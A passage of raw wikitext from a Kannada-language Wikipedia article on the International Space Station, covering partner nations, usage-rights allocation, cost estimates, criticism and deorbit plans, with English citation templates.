ಹಾರ್ಡ್ ವೇರ್ ಅನ್ನು ಸರಬರಾಜು ಮಾಡಲು, NASA ದೊಂದಿಗೆ ಒಪ್ಪಂದ ಮಾಡಿಕೊಳ್ಳುವ ಮೂಲಕ ಅಮೇರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ದ್ವಿಪಕ್ಷೀಯ ಪಾಲುದಾರನಾಗಿ ಸೇರಿಕೊಂಡಿತು.<ref name="Brazil">{{cite web|title=NASA Signs International Space Station Agreement With Brazil|url=https://www.nasa.gov/centers/johnson/news/releases/1996_1998/h97-233.html|date=14 October 1997|accessdate=18 January 2009|publisher=NASA}}</ref> ಇದಕ್ಕೆ ಪ್ರತಿಯಾಗಿ NASA ಬ್ರೆಜಿಲ್ ಗೆ ಕಕ್ಷೆಯ ಮೇಲಿರುವ ಅದರ ISS ಸೌಲಭ್ಯಗಳನ್ನು ಬಳಸಿಕೊಳ್ಳಲು ಅವಕಾಶ ನೀಡಿತು. ಅಲ್ಲದೇ ISS ಕಾರ್ಯಯೋಜನೆಯ ಸಂದರ್ಭದಲ್ಲಿ ಬ್ರೆಜಿಲ್ ನ ಒಬ್ಬ ಗಗನಯಾತ್ರಿಗೆ ವಿಮಾನ ಪ್ರಯಾಣಮಾಡಲು ಅವಕಾಶ ನೀಡಿತು. ತುಲನಾತ್ಮಕ ಸೇವೆಯನ್ನು ಒದಗಿಸುವಲ್ಲಿ ಇಟಲಿ ಕೂಡ NASA ದೊಂದಿಗೆ ಇಂತಹದ್ದೇ ಒಪ್ಪಂದವನ್ನು ಹೊಂದಿದೆ. ಆದರೂ ಇಟಲಿ ESAಯಲ್ಲಿರುವ ಅದರ ಸದಸ್ಯತ್ವದ ಮೂಲಕ ಕಾರ್ಯಯೋಜನೆಯಲ್ಲಿ ಪಾಲ್ಗೊಳ್ಳುತ್ತದೆ.<ref name="Italy">{{cite web|url=http://www.asi.it/en/flash_en/living/the_international_space_station_iss|title=International Space Station (ISS)|publisher=Italian Space Agency|date=18 January 2009|accessdate=18 January 2009|archive-date=23 ಡಿಸೆಂಬರ್ 2008|archive-url=https://web.archive.org/web/20081223133847/http://www.asi.it/en/flash_en/living/the_international_space_station_iss|url-status=dead}}</ref> ವರದಿಯ ಪ್ರಕಾರ ಚೀನಾ ಕೂಡ ಈ ಯೋಜನೆಯಲ್ಲಿ ತನ್ನ ಆಸಕ್ತಿ ತೋರಿಸಿದೆ. ಅದರಲ್ಲೂ ವಿಶೇಷವಾಗಿ ಅದು RKA ನೊಂದಿಗೆ ಕಾರ್ಯನಿರ್ವಹಿಸುವೆಡೆಗೆ ಹೆಚ್ಚಿನ ಆಸಕ್ತಿ ತೋರಿಸಿದೆ. ಅದೇನೇ ಆದರೂ, {{As of|2009|lc=on}} US ನ ಆಕ್ಷೇಪಣೆಗಳಿಂದಾಗಿ ಚೀನಾ ಇದರಿಂದ ಹೊರಗುಳಿದಿದೆ.<ref name="china">{{cite news|title=China wants role in space station|url=http://www.cnn.com/2007/TECH/space/10/16/china.space.ap/index.html|publisher=CNN|agency=Associated Press|date=16 October 2007|accessdate=20 March 2008|archiveurl=https://web.archive.org/web/20080314104006/http://www.cnn.com/2007/TECH/space/10/16/china.space.ap/index.html|archivedate=14 March 2008}}</ref><ref>{{cite web|url=http://www.msnbc.msn.com/id/3077826/|title=China takes aim at the space station|date=26 October 2001|accessdate=30 January 2009|publisher=MSNBC|author=James Oberg|archive-date=12 ಅಕ್ಟೋಬರ್ 2009|archive-url=https://web.archive.org/web/20091012051828/http://www.msnbc.msn.com/id/3077826|url-status=dead}}</ref> ದಕ್ಷಿಣ ಕೊರಿಯಾ ಮತ್ತು ಭಾರತೀಯ ಬಾಹ್ಯಾಕಾಶ ಪ್ರತಿನಿಧಿಗಳ ಮುಖ್ಯಸ್ಥರು ,2009 ರ ಇಂಟರ್ನ್ಯಾಷನಲ್ ಆಸ್ಟ್ರೋನಾಟಿಕಲ್ ಕಾಂಗ್ರೆಸ್ ಎಂಬ ಮೊದಲನೆಯ ಸರ್ವಸದಸ್ಯರ ಅಧಿವೇಶನದಲ್ಲಿ ಅವುಗಳ ರಾಷ್ಟ್ರಗಳು, 2010 ರಲ್ಲಿ ಪ್ರಾರಂಭವಾಗುವ ಮಾತುಕತೆಯೊಂದಿಗೆ , ISS ಕಾರ್ಯಯೋಜನೆಯನ್ನು ಸೇರಲು ಬಯಸುತ್ತವೆ ಎಂಬುದನ್ನು ಪ್ರಕಟಿಸಿದರು. ನಿಯೋಗದ ಮುಖ್ಯಸ್ಥರು ISS ನ ಕಾಲಾವಧಿಯನ್ನು ಇನ್ನಷ್ಟೂ ವಿಸ್ತರಿಸುವುದರ ಬಗ್ಗೆ ತಮ್ಮ ಬೆಂಬಲವನ್ನು ಕೂಡ ಸೂಚಿಸಿದರು.<ref name="ISRO and KARI to join ISS">{{cite web|url=http://www.flightglobal.com/articles/2009/10/14/333406/south-korea-india-to-begin-iss-partnership-talks-in.html|title=South Korea, India to begin ISS partnership talks in 2010|publisher=Flight International|accessdate=14 October 2009|date=19 June 2010}}</ref> ಅಂತರರಾಷ್ಟ್ರೀಯ ಬಾಹ್ಯಾಕಾಶ ನಿಲ್ದಾಣ ಕಾರ್ಯಯೋಜನೆಯ ಭಾಗವಾಗಿರದ ಯುರೋಪಿನ ರಾಷ್ಟ್ರಗಳಿಗೆ ಮೂರುವರ್ಷಗಳ ಪರೀಕ್ಷಾ ಕಾಲಾವಧಿಯಲ್ಲಿ ನಿಲ್ದಾಣ ಪ್ರವೇಶಿಸಲು ಅವಕಾಶ ನೀಡಲಾಗಿದೆ ಎಂದು ESA ಯ ಅಧಿಕಾರಿಗಳು ತಿಳಿಸಿದ್ದಾರೆ.<ref>{{cite web|url=http://www.space-travel.com/reports/EU_mulls_opening_ISS_to_more_countries_999.html |title=EU mulls opening ISS to more countries |publisher=Space-travel.com |date= |accessdate=2010-11-16}}</ref> ===ಬಳಕೆಯ ಹಕ್ಕುಗಳು === [[File:ISS Hardware Allocation.png|thumb|right|upright=1.1|Allocation of American segment hardware utilisation between nations|alt= ISS ನ ಅಮೇರಿಕನ್ ಖಂಡದ ಪ್ರತಿ ಭಾಗವನ್ನು ಹೇಗೆ ನಿಗದಿಮಾಡಲಾಗಿದೆ ಎಂಬುದನ್ನು ಸೂಚಿಸುತ್ತಿರುವ ನಾಲ್ಕು ವಿಭಾಗೀಯ ಪೈ ನಕ್ಷೆ. ಹೆಚ್ಚಿನ ವಿವರಗಳಿಗಾಗಿ ಪಕ್ಕದಲ್ಲಿರುವ ಪಠ್ಯ ನೋಡಿ.]] ನಿಲ್ದಾಣದ ರಷ್ಯನ್ ಭಾಗವನ್ನು ರಷ್ಯನ್ ಒಕ್ಕೂಟದ ಬಾಹ್ಯಾಕಾಶ ನಿಯೋಗವು ನೋಡಿಕೊಳ್ಳುತ್ತದೆ, ಜೊತೆಗೆ ನಿಯಂತ್ರಿಸುತ್ತದೆ. ಅಲ್ಲದೇ ಇದು ರಷ್ಯಕ್ಕೆ ISS ನ ಒಂದೂವರೆ ಪ್ರಮಾಣದಷ್ಟು ಸಿಬ್ಬಂದಿ ಪಡೆವ ಕಾಲಾವಧಿಯ ಹಕ್ಕನ್ನು ಒದಗಿಸಿದೆ. ಉಳಿದ ಸಿಬ್ಬಂದಿ ಕಾಲಾವಧಿಯ ನಿಗದಿಯನ್ನು(ಆರು ಜನ ಶಾಶ್ವತ ಸಿಬ್ಬಂದಿಗಳಲ್ಲಿ ಮೂರರಿಂದ ನಾಲ್ಕು ಜನ ಸಿಬ್ಬಂದಿ ಸದಸ್ಯರು) ಮತ್ತು ನಿಲ್ದಾಣದ ಇತರ ವಿಭಾಗಗಳೊಳಗಿರುವ ಹಾರ್ಡ್ ವೇರ್ (ಎಲೆಕ್ಟ್ರಾನಿಕ್ ಭಾಗ)ಅನ್ನು ಕೆಳಕಂಡಂತೆ ಹಂಚಲಾಗಿದೆ: * ''ಕೊಲಂಬಸ್'' : ESA ಗೆ 51 ಪ್ರತಿಶತ, NASA ಗೆ 46.7 ಪ್ರತಿಶತ, CSA ಗೆ 2.3 ಪ್ರತಿಶತ.<ref name="ESA-IGA" /> * ''ಕಿಬೋ'' : JAXA ಗೆ 51 ಪ್ರತಿಶತದಷ್ಟು, NASA ಗೆ 46.7 ಪ್ರತಿಶತದಷ್ಟು, CSA ಗೆ 2.3 ಪ್ರತಿಶತದಷ್ಟು.<ref name="JAXA-MOU">{{cite web|url=https://www.nasa.gov/mission_pages/station/structure/elements/nasa_japan.html|title=Memorandum of Understanding Between the National Aeronautics and Space Administration of the United States of America and the Government of Japan Concerning Cooperation on the Civil International Space Station|publisher=NASA|accessdate=19 April 2009|date=24 February 1998}}</ref> * ''ಡೆಸ್ಟಿನಿ'' : NASA ಗೆ 97.7 ಪ್ರತಿಶತದಷ್ಟು ಮತ್ತು CSA 2.3 ಪ್ರತಿಶತದಷ್ಟು.<ref name="CSA-MOU">{{cite web|url=https://www.nasa.gov/mission_pages/station/structure/elements/nasa_csa.html|title=Memorandum of Understanding Between the National Aeronautics and Space Administration of the United States of America and the Canadian Space Agency Concerning Cooperation on the Civil International Space Station|publisher=NASA|accessdate=19 April 2009|date=29 January 1998}}</ref> * ಸಿಬ್ಬಂದಿ ಕಾಲಾವಧಿ, ವಿದ್ಯುತ್ ಶಕ್ತಿ ಮತ್ತು ಸಪೋರ್ಟಿಂಗ್ ಸರ್ವೀಸಸ್ (ಬೆಂಬಲ ನೀಡುವ ಸೇವೆಗಳು) (ಉದಾಹರಣೆಗೆ ದತ್ತಾಂಶದ ಅಪ್ಲೋಡ್ ಮತ್ತು ಡೌನ್ ಲೋಡ್ ಮತ್ತು ಸಂವಹನ) ಗಳನ್ನು NASA ಗೆ 76.6 ಪ್ರತಿಶತ, JAXA ಗೆ 12.8 ಪ್ರತಿಶತ, ESA ಗೆ 8.3 ಪ್ರತಿಶತ ಮತ್ತು CSA ಗೆ 2.3 ಪ್ರತಿಶದಂತೆ ವಿಂಗಡಿಸಲಾಗಿದೆ.<ref name="ESA-IGA" /><ref name="JAXA-MOU" /><ref name="CSA-MOU" /> ===ವೆಚ್ಚಗಳು=== ಇಲ್ಲಿ ISS ನ ನಿರ್ಮಾಣಕ್ಕೆ 35 ಬಿಲಿಯನ್ ನಿಂದ 160 ಬಿಲಿಯನ್ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಡಾಲರ್|ಡಾಲರ್]] ಗಳಷ್ಟು ವೆಚ್ಚವಾಗುತ್ತದೆ ಎಂದು ಅಂದಾಜುಮಾಡಲಾಗಿದೆ.<ref name="cost2">{{Cite news|url=http://www.msnbc.msn.com/id/14505278/|title=What's the cost of the space station?|accessdate=30 September 2008|publisher=MSNBC|date=25 August 2006|author=Alan Boyle|archive-date=24 ಅಕ್ಟೋಬರ್ 2012|archive-url=https://web.archive.org/web/20121024223700/http://www.msnbc.msn.com/id/14505278/|url-status=dead}}</ref> ESA ಎಂಬುದು, ಸುಮಾರು 30 ವರ್ಷಗಳೊಳಗೆ ನಿಲ್ದಾಣವನ್ನು ಸಂಪೂರ್ಣವಾಗಿ ನಿರ್ಮಿಸಲು [[ಯುರೋ|€]]100 ಮಿಲಿಯನ್ ಗಳು ವೆಚ್ಚವಾಗುತ್ತದೆ ಎಂದು ನಿಖರವಾಗಿ ಅಂದಾಜು ಮಾಡಿದ ಒಂದು ನಿಯೋಗವಾಗಿದೆ.<ref name="costs">{{cite web|url=http://www.esa.int/esaHS/ESAQHA0VMOC_iss_0.html|title=How Much Does It Cost?|publisher=European Space Agency (ESA)|date=9 August 2005|accessdate=27 March 2008}}</ref> ಅದೇನೇ ಆದರೂ ISS ನ ನಿರ್ಮಾಣಕ್ಕೆ ಅಂದಾಜುಮಾಡಲಾದ ನಿಖರ ವೆಚ್ಚವು ಅಸ್ಪಷ್ಟವಾಗಿದೆ. ಅಲ್ಲದೇ ಯಾವ ಬೆಲೆಯನ್ನು ISS ಕಾರ್ಯಯೋಜನೆಗೆ ಅಳವಡಿಸಲಾಗಿದೆ ಎಂಬುದನ್ನು ನಿರ್ಧರಿಸುವುದು ಕೂಡ ಕಷ್ಟವಾಗಿದೆ ಅಥವಾ ರಷ್ಯಾದ ಕೊಡುಗೆಯನ್ನು ಹೇಗೆ ಅಳೆಯುವುದು ಎಂಬುದೂ ಕೂಡ ಕಷ್ಟವಾಗಿದೆ.<ref name="cost2" /> ===ಟೀಕೆ=== ಹೀಗೆ ISS ನ ಮೇಲೆ ಖರ್ಚು ಮಾಡಿರುವ ಹಣ ಮತ್ತು ಸಮಯವನ್ನು ಇತರ ಯೋಜನೆಯ ಮೇಲೆ ಖರ್ಚು ಮಾಡಿದ್ದರೆ ಪ್ರಯೋಜನವಾಗಿರುತ್ತಿತ್ತು ಎಂದು ISS ನ ಟೀಕಾಕಾರರು ವಾದಿಸಿದ್ದಾರೆ— ಈ ಹಣವನ್ನು ರೋಬಾಟ್ ಬಾಹ್ಯಾಕಾಶನೌಕೆಯ ಯಾತ್ರೆ, ಬಾಹ್ಯಾಕಾಶ ಪರಿಶೋಧನೆ, ಭೂಮಿಯ ಮೇಲಿರುವ ಸಮಸ್ಯೆಗಳ ಪರೀಕ್ಷೆ , ಮಂಗಳದಲ್ಲಿ ವಸಾಹತುಗಾರಿಕೆ , ಅಥವಾ ಕೇವಲ ಕಂದಾಯ ಉಳಿಸುವ ಯೋಜನೆಗಳ ಮೇಲೆ ಉಪಯೋಗಿಸಬಹುದಾಗಿತ್ತು.<ref name="Crit1">{{cite web|url=http://www.popularmechanics.com/science/air_space/1282806.html|publisher=[[Hearst Corporation]]|work=[[Popular Mechanics]]|title=Scientists Believe ISS Is Waste Of Money|author=Jim Wilson|accessdate=17 December 2009|date=December 2002|archiveurl=https://web.archive.org/web/20080210054904/http://www.popularmechanics.com/science/air_space/1282806.html|archivedate=10 February 2008}}</ref><ref name="Crit2">{{Cite book|author=James P. Bagian ''et al''.|title=Readiness Issues Related to Research in the Biological and Physical Sciences on the International Space Station|publisher=[[United States National Academy of Sciences]]|year=2001|url=http://www.nap.edu/catalog.php?record_id=10196}}</ref> ರಾಬರ್ಟ್ L. ಪಾರ್ಕ್ ರಂತಹ ಕೆಲವು ವಿಮರ್ಶಕರು, ISSಗಾಗಿ ಸಣ್ಣ ವೈಜ್ಞಾನಿಕ ಸಂಶೋಧನೆಯನ್ನು ಕೂಡ ಮನಗಾಣಿಸುವಂತೆ ಯೋಜಿಸಬೇಕಾಗಿರುತ್ತದೆ ಎಂಬ ಅಭಿಪ್ರಾಯ ವ್ಯಕ್ತಪಡಿಸುತ್ತಾರೆ. ಅಲ್ಲದೇ ಸೂಕ್ಷ್ಮ ಗುರುತ್ವ ವಾತಾವರಣವು ಬಾಹ್ಯಾಕಾಶ ಪ್ರಯೋಗಾಲಯದ ಪ್ರಮುಖ ಗುಣಲಕ್ಷಣವಾಗಿದೆ . ಇದನ್ನು "ವಾಮಿಟ್ ಕಾಮೆಟ್" ನೊಂದಿಗೆ ಕಡಿಮೆ ವೆಚ್ಚದಲ್ಲಿ ಅಧ್ಯಯನ ಮಾಡಬಹುದಾಗಿದೆ ಎಂದು ವಾದಿಸಿದ್ದಾರೆ.<ref name="Crit1" /><ref>{{cite web|url=http://bobpark.physics.umd.edu/WN04/wn092404.html|title=Space Station: Maybe They Could Use It to Test Missile Defense|accessdate=23 March 2009|author=Robert L. Park|publisher=[[University of Maryland]]|archive-date=22 ಮಾರ್ಚ್ 2009|archive-url=https://web.archive.org/web/20090322174138/http://bobpark.physics.umd.edu/WN04/wn092404.html|url-status=dead}}</ref><ref>{{cite web|url=http://bobpark.physics.umd.edu/WN06/wn091506.html|title=Space: International Space Station Unfurls New Solar Panels|accessdate=15 June 2007|author=Bob Park|publisher=University of Maryland|archive-date=4 ಜುಲೈ 2008|archive-url=https://web.archive.org/web/20080704141406/http://bobpark.physics.umd.edu/WN06/wn091506.html|url-status=dead}}</ref> ಈ ತೆರನಾಗಿ ISS ನ ಸಂಶೋಧನಾ ಸಾಮರ್ಥ್ಯಗಳನ್ನು ಟೀಕಿಸಲಾಗಿದೆ. ವಿಶೇಷವಾಗಿ ಮಹತ್ವಕಾಂಕ್ಷೆಯ ಸೆಂಟ್ರಿಫ್ಯೂಜ್ ಅಕಾಮಡೇಷನ್ ಮಾಡ್ಯೂಲ್ ಅನ್ನು ಮತ್ತು ಇದರ ಜೊತೆಯಲ್ಲಿ ಇತರ ಸಲಕರಣೆಗಳನ್ನು ರದ್ದುಪಡಿಸಿರುವುದಕ್ಕೆ ಸಂಬಂಧಿಸಿರುವಂತೆ, ನಿಲ್ದಾಣದ ಮೇಲೆ ಕೈಗೊಳ್ಳುವ ವೈಜ್ಞಾನಿಕ ಸಂಶೋಧನೆಗಳು ಸಾಮಾನ್ಯವಾಗಿ ವಿಶೇಷವಾದ ಸಲಕರಣೆಗಳ ಅಗತ್ಯವಿಲ್ಲದ ಪ್ರಯೋಗಗಳಿಗೆ ಮಾತ್ರ ಸೀಮಿತವಾಗಿವೆ ಎಂದೂ ಟೀಕಿಸಲಾಗಿದೆ. ಉದಾಹರಣೆಗೆ, 2007ರ ಮೊದಲಾರ್ಧದಲ್ಲಿ, ISS ನ ಸಂಶೋಧನೆಯು ಪ್ರಮುಖವಾಗಿ ಈ ಕೆಳಕಂಡ ವಿಷಯಗಳಿಗೆ ಸಂಬಂಧಿಸಿದೆ: ಬಾಹ್ಯಾಕಾಶದಲ್ಲಿ ಬದುಕುವುದು ಮತ್ತು ಕಾರ್ಯನಿರ್ವಹಿಸುವುದಕ್ಕೆ ಸಂಬಂಧಿಸಿದಂತೆ ಮಾನವನ ಜೀವವಿಜ್ಞಾನ ಪ್ರತಿಕ್ರಿಯೆ, ಮೂತ್ರಪಿಂಡದ ಕಲ್ಲುಗಳು, ಸರ್ಕೇಡಿಯನ್ ರಿದಮ್(ದಿನಕ್ಕೊಮ್ಮೆಯಾದರೂ ಮರುಕಳಿಸುವ ನಿಯಾತವರ್ತನ), ಮತ್ತು ನರಮಂಡಲದ ಮೇಲೆ ಕಾಸ್ಮಿಕ್ ಕಿರಣಗಳು ಬೀರುವ ಪರಿಣಾಮದ ವಿಷಯಗಳ ಮೇಲೆ ಸಂಶೋಧನೆ ನಡೆಸಲು ಯೋಜಿಸಲಾಗಿತ್ತು.<ref name="renal">{{cite web|url=https://www.nasa.gov/mission_pages/station/science/experiments/Renal-Stone.html|title=Renal Stone Risk During Spaceflight: Assessment and Countermeasure Validation (Renal Stone)|accessdate=13 November 2007|publisher=NASA|year=2007|author=NASA|archive-date=30 ನವೆಂಬರ್ 2007|archive-url=https://web.archive.org/web/20071130093725/http://www.nasa.gov/mission_pages/station/science/experiments/Renal-Stone.html|url-status=dead}}</ref><ref name="sleep">{{cite web|url=https://www.nasa.gov/mission_pages/station/science/experiments/Sleep-Long.html|title=Sleep-Wake Actigraphy and Light Exposure During Spaceflight-Long (Sleep-Long)|accessdate=13 November 2007|publisher=NASA|year=2007|author=NASA|archive-date=16 ಸೆಪ್ಟೆಂಬರ್ 2008|archive-url=https://web.archive.org/web/20080916102107/http://www.nasa.gov/mission_pages/station/science/experiments/Sleep-Long.html|url-status=dead}}</ref><ref name="CNS">{{cite web|url=https://www.nasa.gov/mission_pages/station/science/experiments/ALTEA.html|title=Anomalous Long Term Effects in Astronauts' Central Nervous System (ALTEA)|accessdate=13 November 2007|publisher=NASA|year=2007|author=NASA|archive-date=30 ನವೆಂಬರ್ 2007|archive-url=https://web.archive.org/web/20071130072708/http://www.nasa.gov/mission_pages/station/science/experiments/ALTEA.html|url-status=dead}}</ref> ISS ನ ತಾಂತ್ರಿಕ ರಚನೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ ಇತರ ಟೀಕೆಗಳನ್ನೂ ಮಾಡಲಾಗಿದೆ. ಅಲ್ಲದೇ ನಿಲ್ದಾಣದ ಕಕ್ಷೆಯು ಬಾಗುವುದರಿಂದಾಗಿ ನಿಲ್ದಾಣಕ್ಕೆ US ಆಧಾರಿತ ಉಡಾವಣೆಗೆ ಹೆಚ್ಚು ಹಣ ವೆಚ್ಚವಾಗುತ್ತದೆ ಎಂದೂ ಟೀಕಿಸಲಾಗಿದೆ.<ref name="astrosoc">{{cite web|url=http://www.astrosociety.org/education/publications/tnl/34/space2.html|title=Up, Up, and Away|accessdate=10 September 2006|publisher=Astronomical Society of the Pacific|year=1996|author=James J. Secosky, George Musser}}</ref> ಈ ಕೆಲವೊಂದು ಟೀಕೆಗಳಿಗೆ ಪ್ರತಿಕ್ರಿಯಿಸುವಂತೆ, ಸಿಬ್ಬಂದಿ ಆಧಾರಿತ ಬಾಹ್ಯಾಕಾಶ ಪರಿಶೋಧನೆಯ ಸಮರ್ಥಕರು, ISS ನ ಯೋಜನೆಯ ಮೇಲೆ ಮಾಡಲಾಗಿರುವ ಟೀಕೆಗಳು ತಾತ್ಕಾಲಿಕವಾಗಿವೆ. ಅಲ್ಲದೇ ಸಿಬ್ಬಂದಿ ಆಧಾರಿತ ಬಾಹ್ಯಾಕಾಶ ಸಂಶೋಧನೆ ಮತ್ತು ಪರಿಶೋಧನೆಗಳು ಬಿಲಿಯನ್ ಗಟ್ಟಲೆ ಡಾಲರ್ ನಷ್ಟು ಬೆಲೆಬಾಳುವ ಪ್ರಯೋಜನಗಳನ್ನು ನೀಡುತ್ತವೆ, ಎಂದು ತಿಳಿಸಿದ್ದಾರೆ. ಸಿಬ್ಬಂದಿ ಆಧಾರಿತ ಬಾಹ್ಯಾಕಾಶ ಪರಿಶೋಧನೆಯ ಉಪಫಲಗಳಿಂದ ಪಡೆಯುವ ಪರೋಕ್ಷ ಆರ್ಥಿಕ ಆದಾಯವು, ಸಾರ್ವಜನಿಕರು ಹೂಡಿದ ಪ್ರಾಥಮಿಕ ಬಂಡವಾಳಕ್ಕಿಂತ ಅನೇಕ ಪಟ್ಟು ಹೆಚ್ಚಿರುತ್ತದೆಂದು NASA ಅಂದಾಜುಮಾಡಿದೆ. ಆದರೂ ಕೂಡ ಈ ಅಂದಾಜನ್ನು ಅಪೋಲೋ ಪ್ರೋಗ್ರಾಂ ನ ಆಧಾರದ ಮೇಲೆ ಮಾಡಲಾಗಿದ್ದು, ಇದನ್ನು 1970ರ ಹೊತ್ತಿನಲ್ಲಿ ಅಂದಾಜುಮಾಡಲಾಗಿದೆ.<ref name="Schnee">{{cite web|url=http://ntrs.nasa.gov/index.jsp?method=order&oaiID=19760016995|title=Economic impact of large public programs The NASA experience|accessdate=13 November 2007|publisher=NASA Technical Reports Server (NTRS)|year=1976|author=E. Ginzburg, J.W. Kuhn, J. Schnee & B. Yavitz}}</ref> ಸಾಧನೆಗಳ ಬಗ್ಗೆ ಅಮೇರಿಕದ ವಿಜ್ಞಾನಿಗಳ ಒಕ್ಕೂಟ ಮಾಡಿರುವ ವಿಮರ್ಶೆಯು, NASA ಅಂದಾಜು ಮಾಡಿರುವಂತೆ ಉಪಫಲಗಳಿಂದ ಪಡೆಯುವ ಆರ್ಥಿಕ ಆದಾಯವು ಅತ್ಯಂತ ಕಡಿಮೆಯಿರುತ್ತದೆ, ಅಲ್ಲದೇ ವಾಯುನೌಕೆಯನ್ನು ಮಾರಾಟವಾಗುವಂತೆ ಮಾಡುವ ವಾಯುಯಾನ ವಿಜ್ಞಾನದ ಕಾರ್ಯವನ್ನು ಹೊರತುಪಡಿಸಿ ಉಳಿದೆಲ್ಲಾ ಕಾರ್ಯಗಳಿಂದ ಬರುವ ಆದಾಯವು ತೀರ ಕಡಿಮೆ ಇರುತ್ತದೆ ಎಂದು ವಾದಿಸಿದೆ.<ref name="fas">{{cite web|url=http://www.fas.org/spp/eprint/jp_950525.htm|title=NASA Technological Spinoff Fables|accessdate=17 September 2006|publisher=Federation of American Scientists|author=Federation of American Scientists}}</ref> ===ಯಾತ್ರೆಯ ಗುರಿ ಮುಕ್ತಾಯ ಮತ್ತು ಡಿಆರ್ಬಿಟ್ ಯೋಜನೆಗಳು (ಕಕ್ಷಾಗತಿ ಬಿಟ್ಟ ಪ್ರಯೋಗ)=== ಇದರಂತೆ NASA ವು 2016 ರ ಮೊದಲಾರ್ಧದಲ್ಲಿ ISS ಅನ್ನು ಡೀ ಆರ್ಬಿಟ್ ಮಾಡಲು ಯೋಜಿಸಿದೆ.<ref>{{cite news|url=http://www.washingtonpost.com/wp-dyn/content/article/2009/07/12/AR2009071201977.html|title=As Space Station Nears Completion, It Faces End of Mission|work=[[The Washington Post]]|date=13 July 2009|accessdate=18 July 2009|author=Joel Achenbach}}</ref> 2015 ರಲ್ಲಿ ISS ನ ಕಾರ್ಯಯೋಜನೆಯನ್ನು ಮುಕ್ತಾಯಗೊಳಿಸಬೇಕೆಂದು [[ಜಾರ್ಜ್ ಡಬ್ಲ್ಯು. ಬುಷ್|ಜಾರ್ಜ್ W. ಬುಷ್]] ರವರು 2004 ರಲ್ಲಿಯೇ ನಿರ್ಧರಿಸಿದ್ದರು. ಆದರೆ ಇದನ್ನು ಪ್ರಸ್ತುತದ ಒಬಾಮ ಆಡಳಿತವು ನಿರಾಕರಿಸಿದೆ. 2010ರ ಫೆಬ್ರವರಿ 1 ರಂದು ಪ್ರಕಟಿಸಲಾದ ಹೊಸ ಬಜೆಟ್ ನೊಂದಿಗೆ ಆಡಳಿತವು, ನಿಲ್ದಾಣದ (ಬಾಳಿಕೆ)ಜೀವನಾವಧಿಯನ್ನು 2020 ರ ವರೆಗೆ ವಿಸ್ತರಿಸಿತು.<ref name="NewBudget" /> ಸಾಕಷ್ಟು ಸಿಬ್ಬಂದಿ ಹೊಂದಿರುವ NASAದ ಬಾಹ್ಯಾಕಾಶ ನೌಕೆಯ ಕಾರ್ಯಯೋಜನೆಯನ್ನು ಪರಿಶೀಲಿಸಿದ ಅಗಸ್ಟೀನ್ ಕಮಿಷನ್, 2009 ರ ಅಕ್ಟೋಬರ್ 23 ರಂದು ನೀಡಿದ ಅಂತಿಮ ವರದಿಯಲ್ಲಿ, ISS ನ ಕಾರ್ಯಯೋಜನೆಯನ್ನು ಕೊನೆಯ ಪಕ್ಷ 2020ರವರೆಗಾದರೂ ವಿಸ್ತರಿಸಲು ಶಿಫಾರಸ್ಸು ಮಾಡಿತು.<ref>{{cite web|url=https://www.nasa.gov/pdf/396093main_HSF_Cmte_FinalReport.pdf|title=Seeking a Human Spaceflight Program Worthy of a Great Nation|accessdate=6 December 2009|date=23 October 2009|author=Gen. Norman Augustine, ''et al''.|publisher=Review of US Human Space Flight Plans Committee/NASA}}</ref> ಬಾಹ್ಯಾಕಾಶ ನಿಲ್ದಾಣದ ಮಾಜಿ ಕಮಾಂಡರ್ ಆಗಿದ್ದ ಮತ್ತು ಬಾಹ್ಯಾಕಾಶ ಬಾನಗಾಡಿ ಗಗನಯಾತ್ರಿಯಾದ ಮತ್ತು ಸಲಹಾ ಸಮಿತಿಯಲ್ಲಿದ್ದ ಲೆರಾಯ್ ಚಿಯೊ ರವರು CNN ಸಂದರ್ಶನದಲ್ಲಿ ಕೆಳಕಂಡಂತೆ ತಿಳಿಸಿದ್ದಾರೆ:“ ಈ ಎಲ್ಲಾ ವಿಭಿನ್ನ ರಾಷ್ಟ್ರಗಳು ಬಾಹ್ಯಾಕಾಶದಲ್ಲಿ ಒಂದೇ ಯೋಜನೆಯ ಮೇಲೆ ಸದ್ಯ ಒಟ್ಟಿಗೇ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತಿರುವುದನ್ನು ನೀವು ನೋಡುತ್ತಿದ್ದೀರ. ಈಗ ನಾವು ಮುಂದೆ ಹೋಗಿ ಅದನ್ನು ನಿಲ್ಲಿಸಿದಲ್ಲಿ [...] ಇದರಿಂದ ಒಟ್ಟಿಗೆ ಸೇರಿ ಮಾಡುತ್ತಿರುವ ಕಾರ್ಯವನ್ನು ನಿಲ್ಲಿಸಿದಂತಾಗುತ್ತದೆ. ಇದರಿಂದಾಗಿ US ಅನ್ನು ಬಾಹ್ಯಾಕಾಶ ಪರಿಶೋಧನೆಯ ನಾಯಕನೆಂದು ಪರಿಗಣಿಸುತ್ತಿದ್ದ ಪ್ರಪಂಚದಲ್ಲಿರುವ ವಿಭಿನ್ನ ರಾಷ್ಟ್ರಗಳು ಅದರ ಮೇಲೆ ನಂಬಿಕೆಯನ್ನು ಕಳೆದುಕೊಳ್ಳುತ್ತವೆ." ನಂತರ NASA ಅಧಿಕಾರಿಗಳು ISS ನ ಮುಂದಿನ ಕಾರ್ಯಾಚರಣೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ ಮತ್ತು ಸಿಬ್ಬಂದಿ ಹೊಂದಿರುವ ಬಾಹ್ಯಾಕಾಶನೌಕೆಯ ಕಾರ್ಯಯೋಜನೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ 2010 ರ ಫೆಬ್ರವರಿ 1 ರಂದು ಒಬಮಾ ಆಡಳಿತದಿಂದ ದೃಢೀಕರಣ ಪಡೆದುಕೊಂಡರು,<ref name="NewBudget" /><ref>{{cite news|url=http://www.cnn.com/2009/TECH/space/10/12/space.station.future/index.html|title=How much longer will the space station fly?|publisher=CNN|accessdate=14 October 2009|date= 14 October 2009|author=Rich Phillips}}</ref> ಇದರ ಜೊತೆಯಲ್ಲಿ ISS ನ ಪಾಲುದಾರರೊಂದಿಗೆ ಮಾತುಕತೆ ನಡೆಸಿ ನಿಲ್ದಾಣವು 2025 ಅಥವಾ 2028 ರ ವರೆಗೆ ಕಾರ್ಯಾಚರಣೆಯಲ್ಲಿ ಉಳಿಯಬೇಕೆಂಬುದನ್ನು ಸೂಚಿಸಿದರು.<ref>{{cite 